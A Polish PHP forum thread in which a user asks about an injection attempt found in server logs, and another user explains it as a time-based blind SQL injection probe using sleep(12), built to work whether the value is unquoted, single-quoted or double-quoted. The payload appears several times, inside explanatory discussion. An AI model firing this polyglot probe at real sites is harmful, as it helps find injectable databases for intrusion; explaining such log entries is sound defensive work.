Pomoc - Szukaj - Użytkownicy - Kalendarz
Pełna wersja: dziwne zapytanie do bazy (sleep)- co robi?
Forum PHP.pl > Forum > PHP
casperii
Panowie znalazłem w logach takie zapytanie, ktoś próbował wstrzyknąć:

  1. (select(0)from(select(sleep(12)))v)/*'+(select(0)from(select(sleep(12)))v)+'"+(select(0)from(select(sleep(12)))v)+"*/


co powyższy select ma za zadanie uszkodzić/zniszczyć?
LowiczakPL
czy to czasami nie Fork-bomba dla MySqla
com
co to robi w tym dziale, tak trudno było przeczytać manual sleep
patryczakowy
Cytat(com @ 15.05.2016, 20:32:47 ) *
co to robi w tym dziale, tak trudno było przeczytać manual sleep


prędzej chodzi tutaj o sleep
SHiP
Nikt o tym nie wspomniał więc dopiszę :-). Sleep bardzo często używa się w przypadku Blind SQL Injection. Tutaj kod sprawdza czy jest dziura, czy nie. Kod SQL podzielony jest na 3 sekcje, które zostaną wykonane w zależności od tego jaki znak został użyty w warunku

Nasze zapytanie
SELECT (...) WHERE X = [wartosc ze zmiennej]

1. brak znaku:

  1. SELECT (...) WHERE X=(select(0)from(select(sleep(12)))v)/*'+(select(0)from(select(sleep(12)))v)+'"+(select(0)from(select(sleep(12)))v)+"*/

Tutaj kod w /* */ jest po prostu komentarzem

2. apostrof:

  1. SELECT (...) WHERE X='(select(0)from(select(sleep(12)))v)/*'+(select(0)from(select(sleep(12)))v)+'"+(select(0)from(select(sleep(12)))v)+"*/';


3. cudzysłów

  1. SELECT (...) WHERE X="(select(0)from(select(sleep(12)))v)/*'+(select(0)from(select(sleep(12)))v)+'"+(select(0)from(select(sleep(12)))v)+"*/";


Jak widać to zapytanie we wszystkich 3 przypadkach wykona się bez błędu składni. Funkcja sleep opóźnia wykonywanie zapytania więc jeśli wysyłając takie coś otrzymujemy stronę z 12 sekundowym opóźnieniem, to znaczy, że istnieje dziura :-).

To taka sztuczka aby wysyłać jedno zapytanie, a nie trzy w celu oszczędzenia czasu.
To jest wersja lo-fi głównej zawartości. Aby zobaczyć pełną wersję z większą zawartością, obrazkami i formatowaniem proszę kliknij tutaj.
Invision Power Board © 2001-2025 Invision Power Services, Inc.